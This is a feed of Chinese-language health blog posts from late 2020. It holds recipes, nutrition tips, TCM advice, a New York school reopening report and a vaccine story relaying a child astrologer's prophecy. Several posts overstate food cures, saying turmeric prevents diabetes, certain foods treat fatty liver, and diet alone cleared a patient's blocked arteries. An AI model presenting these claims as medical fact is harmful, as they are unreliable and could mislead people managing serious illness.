用雪梨1个、大豆50克、猪脚半只、姜片3片、盐,猪脚用水除去异味,分成块;加入去核切块的雪梨、大豆和一块姜,加足清水煮到滚开,维持旺火继续沸煮15分钟转慢火再煲1个小时,汤就煲好了,补血喝之前根据个人口味加盐调味。


雪梨

7、木瓜银耳汤

用银耳、木瓜、红枣、冰糖,把泡好的银耳下锅,煮开后下红枣,关小火熬半个钟头,下冰糖和木瓜煮开,就可以盛起了。

 

2020-12-04 / 2 Comments / by / in
它富含钾离子有助控血压,营养师:这样吃还降血脂(组图)

健康/马铃薯/抗性淀粉

马铃薯主要成分是淀粉,含丰富的维生素C与钾,营养成分也较全面,被欧洲称为「大地的苹果」。

马铃薯烹煮2步骤,帮助乐龄长辈健康过冬!台湾目前已经步入高龄社会,65岁以上人口超过14%!随着平均年龄提升,如何照顾乐龄长辈健康,是每一家人都不能忽略的课题。天冷时,我们必须特别注意长辈的血压与血脂,食物中的钾与抗性淀粉是帮助维持血压血脂的重要营养素,烹调时多选择钾、抗性淀粉含量较高的食物,如:根茎类的马铃薯,并试着调整烹煮方式,利用蒸烤的方法减少食材与水直接接触,就能让长辈补充更多冬季所需的营养!

步骤1,选用钾、抗性淀粉含量高的食材

钾离子是调控血压最重要的营养素,足够的钾离子可以帮助我们将水份留存于体内,让血液维持适当浓度,而抗性淀粉是肠道细菌的养分,协助我们调节肠道健康!

早安健康报道:根据美国农业部(USDA)农业科学研究院以及台湾卫生福利部食药署(FDA)的资料,马铃薯每一百克就含有413毫克钾,是一般白米饭的10倍,抗性淀粉含量也高达3.2克,马铃薯因为质地松软,料理变化性高,可以帮助咀嚼能力不佳的长辈更容易补充营养,是十分适合长辈的食材。


马铃薯

步骤2,蒸烤、冷藏保留更多钾离子与抗性淀粉

平常我们为了让口味清淡、少油少盐常常使用水煮、汆烫的方式,但钾离子是水溶性营养素,非常容易因接触水的烹调而流失,所以虽然蔬菜类含有不少钾,但在汆烫的过程中可能就流失了大半!如果我们想要保留更多钾离子又兼顾美味,料理时用蒸或烤会是最适合的方式!

除此之外,抗性淀粉受到烹调加热也会减少,以美国马铃薯为例,烤的马铃薯或煮过冷藏食用的马铃薯抗性淀粉可以维持较高的含量。在冬天,我们准备餐点时不妨可以试试烤马铃薯,不仅制备简单快速,绵密厚实的口感也是最适合冬天的暖胃料理。

冬季好料理-焗烤起司马铃薯

焗烤起司马铃薯是道浓郁又温暖的料理,制作备料上也不难,是道非常适合冬天的食谱。马铃薯提供优质碳水化合物、抗性淀粉、钾离子,而鲔鱼、起司具备丰富的优质蛋白质与钙质,都是乐龄长辈跟小朋友不可或缺的营养素!马铃薯用烤的方式不仅能完整保留钾离子,连抗性淀粉也不会因过度加热而完全流失,可以说是家庭主妇最容易照顾到全家人的美味料理,一起来看看怎么制备吧!


马铃薯

材料:

大马铃薯 2颗

鲔鱼(罐头)30克

花椰菜 25克

彩椒 25克

玉米粒 20克

起司片 1片

盐巴 少许

步骤:

马铃薯用电子锅或微波炉蒸熟

加入盐的滚水中汆烫彩椒丁和花椰菜丁

将鲔鱼罐头和玉米罐头沥乾,与彩椒丁和花椰菜丁混合成馅料备用

在蒸熟的美国褐皮马铃薯上切开一刀,并放上馅料

铺上一片起司,并用烤箱或微波炉融化起司后即可上桌!


焗烤马铃薯

2020-12-03 / by / in ,
英国第一率先批准辉瑞疫苗 神童预言:恐有问题

新冠肺炎/疫情/英国批准疫苗/新冠疫苗/印度神童/预言/预言疫苗有问题

成为世界上第一个开始使用辉瑞疫苗的国家英国,但印度神童阿南德再度开金口预言新冠疫苗可能出现问题。

英国宣布率先通过辉瑞疫苗紧急授权,抢先成为全球第一个使用辉瑞疫苗的国家,最快下周开放接种。不过这时候,曾经预言中共肺炎(新冠)疫情大流行的印度神童,最新预言警告,新冠疫苗可能会出现问题。不过专家驳斥说,目前从实验数据看来,疫苗应该是安全的。

据《TVBS》报道,英国卫生大臣韩考克:「从下周初开始,我们将在国内开始新冠疫苗接种计划。」

抢先美国和欧盟一步,英国宣布通过辉瑞疫苗紧急授权,成为第一个开始使用辉瑞疫苗的国家英国一共向辉瑞订购4000万剂疫苗,其中1000万剂,下周就可以施打。

不过曾经准确预言,新冠疫情的印度14岁神童阿南德,再度开金口,预言新冠疫苗可能出现问题。

印度14岁神童阿南德:「这次我想我可以提前警告大家。」「12月19日到12月28日,主要会使人们心中产生恐惧,我们也可能发生疫苗相关的破坏。」

阿南德强调自己不是反疫苗,而是反对各国政府和药厂,太急于研发和使用,不过多数欧美专家挂保证疫苗很安全。

美国杜克大学博士海恩斯:「是的我们认为这些疫苗很安全,这些虽然是新的疫苗,但已经在临床试验中经过严格测试。」

美国FDA计划这个月10日和17日,分别审核辉瑞与莫德纳的疫苗,只要通过美国民众就能开始施打。

记者:「需要施打多少剂量?,专家说辉瑞和莫德纳需要打两剂,中间相隔三到四个星期。」

至于要选哪一款,专家说辉瑞和莫德纳疫苗的有效率,两款差不多,那么确诊过的人还需要施打吗?

美国免疫研究专家卡伦:「目前我们会建议施打。」

专家指出,大部分受试者的副作用很轻微,只维持大约24小时。

莫德纳疫苗受试者:「副作用包括恶心身体肌肉酸痛,头痛疲劳寒冷腹泻。」

不过接种后的长期影响,专家说还得等到一至两年才会更加明朗。

印度男孩阿南德出生于2006年,今年只有14岁,他从从八岁起,每天早上起床第一件事儿,就是背诵印度的经典,学习“吠陀占星术”,14岁的阿南德获得了印度草药微生物学的研究生学位,目前正在攻读金融占星学的博士学位。

2020-12-03 / by / in , ,
姜黄饭一周两次,预防糖尿病、体重也减5%!

健康/糖尿病/姜黄

得糖尿病的原因比想像的还多,除了飲食還有一些意想不到的原因,只有早发现、巧预防,通过正确的营养和锻炼改变它。

早安健康发布:提到糖尿病,大部分的人会先想到胰岛素。因为甜食进入体内后血糖上升,胰岛素便会降低血糖,将糖分提供给细胞。

糖尿病起因于胰岛素功能变差,无法控制血糖。因此,治疗糖尿病的关键在于让胰岛素正常运作。

糖尿病是体内细胞对胰岛素反应不佳,属于慢性发炎疾病。细胞会释出导致发炎的物质,而姜黄素则能抑制发炎。


姜黄 anti 

举例来说,假设糖尿病是炸弹,拆除炸弹是最理想的,但并不容易,所以退而求其次,不让炸弹引爆。发挥这项功能的就是姜黄素。不仅如此,姜黄素的抗炎、抗氧化作用,能有效延缓糖尿病发病、预防糖尿病、以及抑制因糖尿病引起的并发症。

只要持续摄取姜黄素,也能促进脂肪分解、解决肥胖问题,体重约能减轻五%到七%。

糖尿病患者很容易感到压力,人一旦有压力,脑内的机制便会将压力视作危机,在血液中释放大量糖分(血糖上升)。因此,糖尿病患者要尽力别让自己有压力。

使用方针

•按时喝三次姜黄茶

若患有糖尿病,最好喝姜黄茶改善代谢失调。虽然姜黄味苦,有人会添加一到两大匙的蜂蜜再喝,但是糖尿病患者应避免食用。

•食用姜黄饭

一周煮一、两次姜黄饭,只要炊饭时,放一匙姜黄粉即可,亦可添加山蓟菜或马蹄菜等。野菜的香气可中和姜黄的特殊气味,吃起来较不会有负担。

•少吃精制糖

精制糖(按:即非食物天然的糖分,而是经过精炼、过滤、浓缩、结晶等过程制成的加工糖分)进入体内后,必须大量使用胰岛素,剩余的糖分会堆积在体内,形成腹部赘肉,引起脂肪肝或高脂血症。因此,须克制含有砂糖的食物,这是控制糖尿病的第一步。

•锻炼大腿肌肉

体内负责控制血糖的是肝脏,体外则是由大腿肌肉负责。不仅如此,大腿肌肉也是身体重要的能量来源,建议平时应持续锻炼大腿肌肉。

姜黄饭

炊饭时可添加姜黄粉,姜黄煮熟后,苦味会变淡、味道温和,容易被身体消化及吸收。

不过,如果放太多姜黄粉,饭容易变软、变得没有黏性,因此须控制用量。

2020-12-02 / 1 Comment / by / in
抗氧化力最佳!抗癌就要吃的「这两种」低卡蔬菜

健康/抗癌/抗氧化

洋葱和大蒜是生活中较为常见的蔬菜,具有刺激性味道,但洋葱和大蒜可以杀菌消毒,确实还有防癌功效,近年来广受推崇。

蒜头和洋葱都是葱属植物,这个家族还包括了韭菜及葱。早在现代科学萌芽之前,医生们早就认识了葱属植物在治病上的特质了,尤其是蒜头及洋葱。

据华人健康报道:虽然蒜头主要被用来作为调味之用,不过,蒜头曾被当作是强力的药物。希腊名医希波克拉底曾经报告过他使用蒜头浓烟来治疗子宫癌的经验。西元第一世纪的迪欧斯寇尔斯(Dioscorides)医生曾经写过,蒜头「清除动脉,打开静脉口」。中世纪时,僧人曾经咀嚼蒜瓣,保护自己,对抗瘟疫。现代的科学家证实,蒜头还真是个包罗各种疗效化合物的大药箱。它含有丰富的硒,提供了数种足以影响抗氧化物网络作用的酶,这其中包括了谷胱甘肽过氧化酶。蒜头也是一种保护心脏健康的药草。蒜头中含有大蒜烯(ajoene)成分,这是一种可以防止血液产生凝块的化合物。

此外,蒜头还是丰富的硫化物来源,有天然的抗生素及抑菌特质。二次世界大战时,蒜头被称作「俄国的盘尼西林」,因为俄国军队用它来对抗战场上的感染。


洋葱和大蒜

希波克拉底显然早就知道蒜头可以是有力的抗癌物质,而我们现代的科学家才刚要开始这趟发现之旅。在试管测试及动物测试中,蒜头中的各种化合物可以抑制癌症肿瘤的生长。德国的研究人员报导,大蒜的萃取精华可以防止DNA的链结因为自由基伤害引起的断裂,这种断裂状况有可能会使细胞产生癌症病变。

蒜头也可以阻碍现存肿瘤的生长。当纽约的史隆凯特林癌症纪念研究中心(Memorial Sloan-Kettering Cancer Research Center)的研究人员,把曝露在培养皿上的摄护腺癌细胞加上由老蒜头里提炼中来的硫化物 S-allylmercaptocysteine 后,居然大幅的减缓了癌细胞生长的速度。特别一提的是,研究人员还发现,大蒜对于男性荷尔蒙有很正面的效果。

摄护腺癌细胞对于男性荷尔蒙睪固酮的活动代谢物二氢睪脂酮(dihydrotestosterone)特别敏感,这种产物会刺激摄护腺肿瘤的生长。但是,只要遇到S-allylmercaptocysteine,摄护腺癌细胞就会以正常速度的二到四倍,加速分解睪固酮,而不会产生有潜在危险性的二氢睪脂酮。我不是想告诉你蒜头可以治疗癌症,而是想说,饮食里多加点蒜头来烹调一定不会有什么坏处的。


洋葱和大蒜

洋葱是蒜头的亲戚,是另一种抗病食品。洋葱之所以引起现在科学的注意,是在美国《国家癌症研究所期刊》(Journal of the National Cancer Institute)刊出一篇一九八九年的中国研究后开始的。报导指出,吃最多洋葱及葱属蔬菜的人,罹患胃癌的比例最低。在这篇研究中,研究人员将五百六十四位胃癌患者和一千一百三十一位正常人的饮食习惯作了比较。他们大感讶异的发现,两组之间主要的差异居然是没有罹患癌症的那一组,饮食中多吃了很多葱属蔬菜。

洋葱里含有很多抗癌的化合物。特别一提的是,洋葱是类黄酮素—栎皮酮丰沛的来源。栎皮酮是一种抗氧化物,在试管研究中被证实可以阻碍多种形成癌症细胞的天然或合成的引介质及促进质。栎皮酮也是种重要的天然抗发炎物质,有抗菌、抑菌及及抗病毒的作用。洋葱也是绝佳的硒来源。硒这种矿物质已被证明可以降低罹患多种癌症及中风的风险。

2020-12-02 / by / in
纽约市小学12/7重开校园 初高中继续全网课

纽约市小学12/7重开校园 初高中继续全网课

自11月19日仓促关校后,纽约市公立学校终于在12月迎来重启。周日(11月29日),纽约市长白思豪召开记者会公布,幼儿园、小学、特殊学校将从12月7日(下周一)起,分阶段重启校园。家长如果想要小孩回到校园上课,需要提供COVID-19(中共病毒)筛检同意书。初中、高中继续全上网课。

纽约市长白思豪表示,纽约市公立学校系统中的学前班、小学(幼稚园~5年级),在12月7日重开校园;第75学区的特殊学校不分年级,将在12月10日(下周四)重开。初中、高中则继续完全上网课,校园不重启。

白思豪解释,从低年级校园开始逐步重启的原因有两方面:一是据数据显示,小孩非病毒易感人群;其次,家长认为小孩有学习和社交的需求。

校园重启后,原先的每月随机筛检将改为每周随机筛检,筛检人数为在校师生人数的20%。因此,返校的家庭必须向校方提供孩子的筛检同意书。家长可利用「纽约市学校帐户」(New York City Schools Account),前往纽约市公立学校网页填写同意书:mystudent.nyc。填妥后,家长须打印同意书并签名,待小孩返校第一天交给校方。

市教育总监卡兰萨(Richard Carranza)表示,为了小孩好而让他们重返学校,是市府能为学子做的最重要事情之一。由于非常重要,市府必须做到正确。

白思豪认为,虽然家长和教职员有疑虑,但重启校园是一件正确的事情,校园是安全的。他表示,重启校园的理想模型是有空间、有能力的学校能够维持一周五天都面对面授课,纽约市校园疫情观察室(Department of Education COVID-19 Situation Room)将会紧盯每一所学校,一旦出现病例,会迅速做出反应。

当天,「教师联合工会」(UFT)主席穆格鲁(Michael Mulgrew)透过推特发文表示,校园重启的计画得到了教师工会的支持,希望这个政策能正确执行。

穆格鲁说:「纽约市有些学校还受到红色和橘色疫区的影响,将继续遵守纽约市3%的关校门槛规定。但只要筛检严格到位,『教师联合工会』将支持其它社区的学校分阶段重启。 校园重启策略如果实施得当,直到战胜瘟疫为止,教师都可以向最大数量的学生提供安全的现场指导。」

据市府29日最新疫情数据,疑似感染COVID-19住院的人数为130人,七日平均新增人数为1,636人,七日平均阳性率为3.9%,较前日成长0.26个百分点,而纽约州当日的七日平均阳性率为4.27%。目前纽约市校园筛检共计15万9,842人,最新确诊率为0.28%,累计453人染疫。 ◇

2020-12-01 / 1 Comment / by / in , , ,
这些水果能降骨质疏松风险32%

健康/水果/骨质疏松

对我们每个人的身体健康来说,骨质疏松非小事,那么有什么方法预防骨质疏松症呢?

骨质疏松即骨质疏松症,是多种原因引起的一组骨病,以单位体积内骨组织量减少为特点的代谢性骨病变。骨质疏松症可发生于不同性别和任何年龄,但多见于绝经后女性和老年男性。以骨骼疼痛、易于骨折为特征。

谈到要防骨松,最好的办法就是适量补充钙质,一般人最先想到的就是喝牛奶或是吃钙片,这两种方法的确有效,不过,牛奶与一般钙片中钙质的吸收率只有30%,甚至还要比有些植物性食物,例如豆类与芝麻的吸收率还低。

要提醒大家,其实不只是喝牛奶,其实吃水果也可以达到「壮骨」(强化骨)的功能,特别是对75%有乳糖不耐症的国人来说,改用水果来补充钙质,也是个不错的选择。

研究显示大量吃水果可以壮骨

《heho健康》报道:2004年时美国《临床营养期刊》刊登了一项研究调查报告,结果显示在同样的体重和运动量条件下,大量吃水果的女性具有最强壮的骨骼。刊载在《Food & Function》期刊上的一篇研究结果显示,摄取最多水果的参与研究者要比摄取最少水果的人,降低了罹患骨质疏松症的风险约32%。


水果

营养师就指出,水果内所含有的维生素C、钾、有机酸以及其他营养物质都具有强化骨骼的作用,特别是钾元素的摄入,有助于减缓钙质的流失。

强化骨质水果中含有4种营养素

而具有强化骨质功效的水果大致可以分为内含4种营养素:

一、含维生素C:

维生素C除了可以提高钙质的吸收率外,还可促进胶原蛋白的生成,促进骨骼强化。富含最多维生素C的水果即是芭乐,根据国健署的数据显示,100公克的芭乐中便含有243毫克,约是柠檬的4倍,此外,奇异果每100公克含有维生素C90毫克,至于草莓、凤梨与柳橙也都含有丰富的维生素C。

二、类胡萝卜素:

2016年10月的《生物科学期刊》一篇文章指出,在细胞培养实验中证实,类胡萝卜素可抑制成熟破骨细胞的生存和骨吸收功能,并促进骨合成作用,可能对骨骼健康有益。像是木瓜、芒果、番茄都含有丰富的β-胡萝卜素。


水果

三、柠檬酸:

钙质在酸性环境下吸收率较高,日本广岛大学的研究指出,每天喝200毫升的柠檬汁再加入钙,可让骨密度提高1.32%,还可让提高的骨质密度至少维持半年。

而具有酸味的水果多富含柠檬酸,包括柳橙、橘子、柠檬、葡萄柚等柑橘类水果,以及桃子、梅子、凤梨、奇异果等,摄取这些水果都有助于钙质的吸收。

四、钾:

摄取充足的钾有助维持骨骼矿物质密度,降低骨质疏松危险。研究指出,钾与钙、镁、锌和维生素 D一起食用,有利于维持骨骼健康。

而富含钾的水果多属热带水果包括有香蕉、椰子、凤梨、榴梿等,平均每100克即有250-470毫克钾,而樱桃的含钾量也不错,大概每100克含钾量即有232毫克,而且糖分只有10.2%,可以补钾壮骨。


水果

别单靠吃水果补钙,否则反会造成骨松

最后,也要特别提醒大家,如果每天光吃水果而不吃其他食物,膳食中的钙摄取量会严重不足,不仅无法提高骨骼强度,反而会降低骨质密度。许多减重的女性正是因为完全以水果代替正餐,而导致提早出现骨质疏松的状况。

2020-12-01 / by / in
天然的6种食物竟然是“消脂器”,多吃一口,脂肪肝就减少一分!

健康/脂肪肝/食品/走路

肝脏在我们身体内是非常重要的器官,具有五大生理功能,是身体设备相当完善的“营养中转站”,喝的, 吃的,被消化吸收后,统统都要到肝脏里转一圈。

如果吸收的脂肪超出了肝脏的“代谢”能力,便会沉积在肝细胞内, 形成脂肪肝。这些多余的脂肪除了会影响肝功能,还会引发炎症, 造成肝脏纤维化,肝硬化等问题,严重的还可能会引起肝癌。

研究显示,大约每 100 个普通成年人中就有 20~30 位脂肪肝患者,严重影响了人们的身心健康。

你的身体若有这4个表现,说明你肝内脂肪已经很多了:

表现一:食欲不振、精神不济

脂肪肝恶化的时候常会出现这种症状,患者会出现食欲不振、 乏力以及腹胀的表现,肝区还会感到隐隐作痛, 如果这些疾病并非日常感冒等原因造成的, 就需要考虑是否脂肪肝发生恶化。


大蒜

表现二:维生素缺乏症

脂肪肝时由于脂肪堆积合并饮食中维生素缺乏, 那么人就易出现多种维生素缺乏症。临床可见周围神经炎、舌炎、 口角炎、皮肤淤斑、角化过度等。少数人也可有消化道出血、 牙龈出血、鼻衄等。

表现三:内分泌失调

重度脂肪肝人群中有人可以有男性乳房发育、睾丸萎缩、 勃起功能障碍,女性月经过多、闭经,体重减轻或增加等异常表现。

表现四:有恶心、呕吐、腹胀的感觉

轻度脂肪肝若伴有肝功能损害,可伴有恶心欲呕、厌油、 上腹饱胀等不适。恶心的症状常常单独出现。

人体如果吸收了对健康不利的食物,就会伤害到肝脏, 如果未能及时排除,停留在肝脏,久而久之就会对肝脏造成损害, 产生脂肪肝。

因此,我们日常生活中饮食的时候,需要多摄入一下蔬菜水果, 帮助肝脏“消脂”,哪些食物有这些功能呢?


苦瓜

1、苦瓜

苦瓜为夏季菜市场最常见的瓜果之一, 在明代时候因其营养价值丰富被李时珍夸为“一等瓜”, 是不可多得的抗癌瓜。苦瓜中含有的苦味甙和苦味素, 可以帮助减少摄取脂肪和多糖。更是含有丰富的维生素C, 具有降血糖、降血脂、抗肿瘤的神奇功效, 还因为其含有丰富的苦味甙和苦味素而被誉为“脂肪杀手”。

2、玉米

玉米的营养价值成分很高,可以降低身体里面的胆固醇, 也可以补充身体里面的钙维生素e等等,多吃玉米, 可以治疗脂肪肝,让自己的脂肪肝吃小。

3、大蒜

大蒜是我们生活当中非常常见的一种食材,在平时做饭的时候, 会用上一些大蒜来提味,据有关研究发现, 大蒜粉补充剂是有利于降低脂肪肝患者脂肪的, 脂肪肝患者在平时吃饭,要注意对大蒜的摄取,合理的摄取大蒜, 有利于改善患者的脂肪肝。


牛油果

4、牛油果

牛油果,它含有抗炎成分和可溶性的纤维, 这些物质都可以帮助降低人体当中的血糖和氧化应激, 而且牛油果当中还含有健康的脂肪,脂肪肝患者可以多食用牛油果, 以达到改善脂肪肝的效果。

5、海带

海带里面营养价值成分非常高,贫血的人多吃海带, 可让贫血症状缓解不少,并且海带里面也有一些盐类物质, 也是可以治疗胆固醇的,多吃海带, 能让身体里面的胆固醇含量变少,同时对治疗脂肪肝也很有帮助。


6、茶

据研究表明,经常的食用绿茶, 可以降低我们身体当中的脂肪百分比。还能够降低血液当中的脂肪。 患有脂肪肝的患者可以多使用绿茶,对于改善脂肪肝是有利的。

日常也可以取蒲公英叶2.0g、绿茶0.8g、桂花0. 2g自制成蒲公英桂花绿茶,更有利于消脂。

蒲公英,具有清热解毒、清肝利胆之效,有助于血液解毒。 现代研究发现,蒲公英水提物可降低血清三酰甘油, 有效升高高密度脂蛋白。减少肥胖人群体内脂肪的蓄积, 间接性的降低率脂肪肝的发生。

桂花,疏肝理气之功效,现代研究发现桂花具有抗炎、抗氧化、 降血糖的作用,有保护血管的作用。


走路

因此,三者搭配,消脂效果更明显。

走路也是治愈脂肪肝“最好”的方法!常这样走路可以甩掉“ 脂肪肝”:

1. 开始阶段(第一个月)

在刚刚开始的时候,选择一些简单的伸展体操或者有氧运动, 避免给身体造成损伤。每次运动保持在10分钟以上, 然后慢慢增加时间至40-50分钟。

2.改善阶段(第二、三个月)

选择中等强度运动,比如太极拳、慢跑等, 以达到较大程度地改善脂肪肝症状的目的。

3.维持阶段

在中等强度走路运动一个月、两个月之后, 脂肪肝的症状也得到很大的改善,尽量维持这种状态就好, 不要急着去增加运动和走路的量。

在步行时,注意抬头挺胸大步走,把胳膊摆直,把步子迈出去, 尽可能地迈大,后腿用力蹬,前腿往前抬。并且, 随着步伐的节奏调整均匀的呼吸频率,深吸气、慢吐气。

2020-12-01 / by / in
三道素食豆腐料理 各具风味和特色 简单易学(视频)

素食豆腐料理/素食/豆腐

据流传豆腐已有二千一百多年的历史,是非常健康的绿色食品,深深受着我国人民的喜爱及世界人民的喜爱。

豆腐含人体必需的多种微量元素和丰富的优质蛋白,有“植物肉”的美称。常食豆腐可补中益气、清热润燥、生津止渴。今天与大家分享三道豆腐料理,做法都非常的简单,但每一种都具有不同的风味和特色。

《百合》

材料:豆腐半块、香菇数朵、山芹菜一把

调味料:花生粉、盐、糖

作法:

1. 山芹菜、香菇汆漫后冰镇,捞起后沥干备用;将豆腐均匀过筛至成渣状备用。

2. 把过筛后的豆腐加入半匙盐巴、两匙半的糖,再放入一匙多的花生粉调味拌匀,最后放入香菇与山芹菜搅拌均匀摆盘即可。

《扬出豆腐(炸豆腐)》

材料:豆腐、面包粉、面粉、蛋白、海苔、白萝卜泥

调味料:酱油、味醂、高汤

作法:

1. 豆腐切块后沾上面粉、裹上蛋白,再沾面包粉。

2. 然后将豆腐入油锅用小火炸至金黄色后起锅摆盘。

3. 再把高汤、酱油、味醂以4:1:1的比例调配酱汁煮滚,淋在油炸过的豆腐上,然后摆上少许海苔丝与白萝卜泥装饰即可。

《珍珠豆腐》

材料:豆腐、滑子或金针菇、芥末

调味料:酱油、味醂、高汤

作法:

1. 先将豆腐切块摆盘。

2. 把高汤、酱油、味醂以2:1:1的比例拌匀,再放入滑子搅拌即成酱汁。

3. 将酱汁淋在豆腐上,最后沾上一点芥末即可。

2020-11-30 / by / in , , ,
把它搞定可减轻动脉和关节负担!5大超级食物帮大忙

健康/饮食/控制体重

身体脂肪过多,体重过重,是非常多的人的苦恼,怎样解决这个大难题,也是减重者最需要了解的。

体重过重通常是比标准身形有更多的身体脂肪。肥胖是常见的疾病,特别是在粮食供应充足,且民众生活方式流于久坐不立的地方。美国成年人口中,高达64%被认为超重或肥胖,而且这一比例在过去40年中一直增加。

你要的是快乐、强壮,而不是情绪低落、精力不振,所以,你想解决的健康问题,就是体重过重。

我就直说吧,我们讲的的不是拚命减重,使你有好看的外表,而是要让食物在你的体内修复身体,只要做到这点,你的体重就会正常,进而拥有活动自如的身体。

减轻体重,也减轻动脉和关节的负担

早安健康引用心脏外科医生、哥伦比亚大学外科教授梅默特.奥兹观点认为:毕竟健康的体重具骨牌效果,能改善心脏、发炎、情绪等多方面的问题。体重减轻后,动脉、关节的负担,也跟着减少,降低罹患糖尿病、癌症、中风等病痛的风险。体重减轻,你就有健康的未来。

在接下来的过程中,每一阶段都有 5 大超级食物帮助你,请继续往下读,找到它们发挥助力的方式。


牛肉

F(有益的脂肪):

omega-3 已经证明会减少腹部脂肪。根据《国际肥胖症期刊》(International Journal of Obesity)所刊登的一篇论文,利用减少摄取热量节食的人,如果每周吃 3 天鲑鱼(富含omega-3),减少的腹部脂肪,远超过摄取相同热量但不吃鱼的节食者。好的脂肪如何帮助减重?答案是促进新陈代谢,及抑制饥饿。

I(理想的蛋白质):

精瘦的蛋白质是维持饱足感的关键,也是身体组织的基础。此外,理想的蛋白质也能帮助减重,根据纽约大学的一份研究,吃足蛋白质建议摄取量的人,体脂肪超量的程度较低。另外,对身体来说,身体消化蛋白质的效率较差,意思就是消化蛋白质需要消耗一些热量,换句话说,蛋白质所产生的热量是打折扣的—身体实际吸收的热量,少于蛋白质所含的热量。


素食

X(额外的水果蔬菜):

纤维让你维持饱足,就不会吃太多,水果蔬菜的纤维都很多。早餐摄取大量蔬果,可以让你整天活力旺盛。最近有 3 项研究证明,减重时素食者比荤食者减掉更多重量。(这不代表吃肉是坏事,只是素食者本来就会多吃蔬菜。)

E(提供能量的碳水化合物):

吃复合碳水化合物比较不容易饿,最近有一项研究显示,受试者吃 6 周全谷物含量丰富的餐点后,比吃精致谷物饮食的人,每天多燃烧 92 卡热量。

S(特殊场合才吃糖):

吃太多甜食,你的血糖和饥饿程度都会飙升,但策略性摄取甜食,反而有益身体。意大利有一项研究发现,吃一周黑巧克力(可可含量 70%),腰围就会缩小。为什么?因为可可含量较高的黑巧克力可以抗发炎,还会提振胰岛素敏感性,这两者都会影响身体储存脂肪的方式。


谷物

你要这样想,你并不是为了减几公斤,而遵守严格计划。你是借着摄取 5 大超级食物,同时采取一些聪明的策略,改变自己的饮食习惯,顺便减轻体重,进而改善身体健康。这种方式不但让你减轻体重,验血报告也会看出改善,而你也会感到很健康。

五十几岁,体重 204 公斤!光是改吃超级食物和减重,男子就降低了心脏病发作的风险!下一页看他怎么做到的

自己控制盘中刀叉,才不会被动手术刀

有一个病人,让我了解饮食与健康之间的关联。某个男子入院的时候胸部疼痛,动脉严重堵塞,我们认定他需要接受心脏绕道手术。这人五十几岁,体重约 204 公斤,需要尽快开刀保命。

问题是,他实在太重,手术台都承受不了。医院无能为力,我们心里很不好受。这个男子只剩一个选择,减重上手术台,我们才能帮他开刀。


控制

当一个人只剩一个机会时,就会孤注一掷,这个人也一样。他开始奋力节食,真的以蔬菜、瘦肉、橄榄油为主食(看起来是不是和我的 5 大超级食物很像),6 个月内瘦 45.4 公斤,效果非常可观。他的动机很强烈,因为他不想死,那就只能减重。此时减至 159 公斤的他,可以上手术台开刀了。

读者大概会猜想,于是这个男子就到医院来,我们替他开刀,然后他就带着健康的心脏过著幸福快乐的生活了。

但故事的结局不是这样。

真正的情节是:他到医院填手术文件,我问他目前的症状。男子说:「呃,症状好像消失了。」他走路时不再气喘吁吁,胸痛的症状也没了。我们帮他做彻底的检查,发现不但与心脏病有关的症状都减轻了,而且血管堵塞大幅清除,根本不必动手术。

真令人吃惊。

光是改吃超级食物和减重,男子就降低了心脏病发作的风险,消除其他许多问题。这是因为多余脂肪会触发洪流似的化学反应,造成身体系统诸多乱象。所以如果你需要或想要减轻体重,都请将此刻视为你的起点。只要改变饮食习惯,你就会朝体型变瘦、身体变强的方向前进。

2020-11-30 / by / in ,
回家就想躺着?不是懒,可能只是虚,四个调理方法快快收好!

健康/调理/气虚

好多人有的时候不知为什么回到家就想卧在沙发里,平时懒得和人说话,做什么事情都没啥兴趣,打不起精神, 这种人常常会被周围的人说成是懒。

有时候,他可能不是真懒,而是虚。在中医里,有一个词叫做“ 气虚”,气虚的人精气神不足,才会看起来如此乏力。

为什么会气虚?一般来说,气虚主要分为肾气虚、脾气虚、心气虚以及肺气虚,根据气虚的部位不同症状也有所差别。 虚往往是因为一些不良的生活习惯日积月累导致的。

1. 肾气虚

缘故:肾气虚的人多是身体透支了,熬夜,疲劳工作都是引起肾气不足的原因。

表现:腰酸、周身乏力、手脚不温。


腰痛

2. 脾气虚

缘故:长期食用寒凉、过于油腻的食物,都会伤了脾胃。

表现:腹泻、四肢无力、不易消化等症状。

3. 肺气虚

缘故:缺乏运动。

表现:气短、语言低微、自汗、易感冒等症状。

4. 心气虚

缘故:平时工作压力大、思虑过度就可能伤了心气。

表现:心慌、气短、乏力。


心慌

虚久了,不仅仅是累的问题了,甚至也会带来疾病问题。如果我们伸出舌头,照镜子观察一下,发现自己舌边布满了齿痕, 这便是气虚的表现。现在气虚之人非常多,有齿痕舌的人, 大约能占到60%左右。

中医认为,“气为血之帅”,人体出现气虚后, 气无法推动血脉正常运行。大抵可理解成人体的功能低下,此时, 气血运行都迟缓。长久气虚严重的人,平素抵抗力弱,疾病也就很容易发生了。

如何改善“虚”?

1. 肺气虚

黄芪:对于肺气虚的病人,多用黄芪是最好的。 黄芪补气比人参更为温和,而且固表作用比人参更强。

把黄芪和百合一起做成粥,还可以在煮鸡汤时放上一些, 都是补气的好方式。


黄芪

2. 肾气虚

肉苁蓉:肉苁蓉生长在我国西北的沙漠地区,被称作“沙漠人参”, 因其味咸,咸能入肾,补肾作用明显。

3. 脾气虚

党参山药粥:可以用党参、山药做粥,也可以加上一些大枣、 白术、莲子和茯苓,这些都是补气的好材料。

4. 心气虚

山药大枣薏米粥:该粥补心气的效果特别好, 不仅可以补心气之虚,还可以强五脏之本。在这款粥里, 山药能助五脏、长志安神;大枣能滋阴补阳、气血双补; 薏米可利水消肿,健脾除湿。

用铁棍山药80克、薏米30克、大枣7枚, 加上小米或者大米50克,一起熬粥即可。

当然,补气是一方面,平时养成良好的生活习惯仍然很重要, 不然一边补气,一边又伤气,得不偿失。

2020-11-29 / by / in
6个简单习惯,瘦身不用节食 效果更佳

如今在各种各样的减肥方法中,为了健康或者外形,你是否找到适合自己的瘦身方法?

节食减肥很难持续,稍不注意就会减肥反弹,甚至危害健康。其实减肥并非需要节食那般痛苦,只要将生活习惯稍加调整,就可以甩掉脂肪,瘦身效果比节食减肥还要好。

1.调整作息

早睡早起,正常三餐饮食等,按照生物钟的作息去生活。这样身体的代谢和循环会更加的平稳。堆积的毒素和脂肪就会快速的被消耗和排除。

调整作息之后,身体分泌的荷尔蒙也会平稳,对舒缓情绪,减轻压力和缓解食欲都有帮助。阻碍了肥胖的发生。

2.做感兴趣的事情

如果日常生活太过空闲,就会增加食欲和懒惰指数,对瘦身很不利。

多找一些自己感兴趣的事情去做,丰富自己的同时,还可以抑制食欲和阻碍肥胖的发生。


做些感兴趣的事情

3.拒绝食物的存储

